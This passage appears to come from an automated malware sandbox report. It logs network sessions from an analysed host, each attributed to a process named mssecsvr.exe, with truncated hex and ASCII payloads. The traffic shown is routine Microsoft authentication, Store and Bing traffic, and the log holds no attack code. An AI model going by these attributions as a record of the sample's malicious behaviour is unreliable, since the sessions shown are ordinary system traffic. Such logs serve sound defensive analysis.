2022-07-20 04:06:04 UTC	1011	OUT	Data Raw: 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 4e 6f 6e 53 75 67 67 65 73 74 69 6f 6e 73 22 2c 22 53 43 22 3a 31 2c 22 44 53 22 3a 5b 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 31 34 2c 22 51 22 3a 22 64 65 66 61 75 22 2c 22 56 61 6c 22 3a 22 53 57 22 2c 22 48 6f 22 3a 30 2c 22 47 72 22 3a 31 31 2c 22 4e 52 22 3a 31 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 2d 31 31 2e 34 34 32 33 36 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 22 3a 7b 22 34 22 3a 31 2c 22 31 30 22 3a 35 2c 22 31 39 22 3a 31 2c 22 32 35 22 3a 31 2c 22 34 32 22 3a 31 2c 22 35 39 22 3a 31 2c 22 31 33 33 22 3a 31 2c 22 31 33 36 22 3a 31 2c 22 31 33 37 22 3a 35 2c 22 32 36 34 22 3a 31 2c 22 32 39 36 22 3a 31 7d 7d 7d 5d 7d 5d 5d 5d Data Ascii: ","Scenario":"NonSuggestions","SC":1,"DS":[{"T":"D.Url","K":114,"Q":"defau","Val":"SW","Ho":0,"Gr":11,"NR":1,"RankerSignals":{"rankingScore":-11.44236,"featureStore":{"4":1,"10":5,"19":1,"25":1,"42":1,"59":1,"133":1,"136":1,"137":5,"264":1,"296":1}}}]}]]]
2022-07-20 04:06:04 UTC	1027	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 72598A8DF2374F6BB596214EEECC50F7 Ref B: FRA31EDGE0821 Ref C: 2022-07-20T04:06:04Z Date: Wed, 20 Jul 2022 04:06:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	50182	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:23 UTC	1027	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2022-07-20 04:06:23 UTC	1027	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:23 UTC	1031	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: fbbf5e2e-1298-4cd9-a72d-411ae6c47539 PPServer: PPV: 30 H: BL02PF1297B4D4B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:23 GMT Connection: close Content-Length: 11296
2022-07-20 04:06:23 UTC	1031	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49726	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:47 UTC	57	OUT	GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:47 UTC	66	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 1493 Content-Type: image/png Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY" MS-CV: WqthG07BiE+6pHh5.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:47 UTC	66	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 57 cb 80 7f d7 9e f4 fb f6 42 Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS\|Iud\WB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	50205	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:24 UTC	1043	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-20 04:06:24 UTC	1043	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:24 UTC	1048	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: b04860d1-091d-4b92-9922-9ae323e6b658 PPServer: PPV: 30 H: BL02PF25BE43DEC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:24 GMT Connection: close Content-Length: 11296
2022-07-20 04:06:24 UTC	1048	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	50206	40.126.31.70	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:25 UTC	1059	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-20 04:06:25 UTC	1060	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:25 UTC	1064	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: ddd22f4d-d070-48b8-a5c0-ec67e94b525d PPServer: PPV: 30 H: BL02PF5941439F4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:25 GMT Connection: close Content-Length: 10813
2022-07-20 04:06:25 UTC	1065	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	50225	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:26 UTC	1075	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4776 Host: login.live.com
2022-07-20 04:06:26 UTC	1076	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:26 UTC	1112	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: cb77b868-f9eb-4a42-b594-c5562ae7bd1f PPServer: PPV: 30 H: BL02PF7EE85FE59 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:26 GMT Connection: close Content-Length: 11093
2022-07-20 04:06:26 UTC	1113	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	50226	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:26 UTC	1080	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4774 Host: login.live.com
2022-07-20 04:06:26 UTC	1081	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:26 UTC	1123	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 46b87f07-baca-48d5-bc12-0ebd4fb7a48b PPServer: PPV: 30 H: BL02EPF0000669B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:26 GMT Connection: close Content-Length: 11069
2022-07-20 04:06:26 UTC	1124	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	50224	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:26 UTC	1085	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4776 Host: login.live.com
2022-07-20 04:06:26 UTC	1086	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
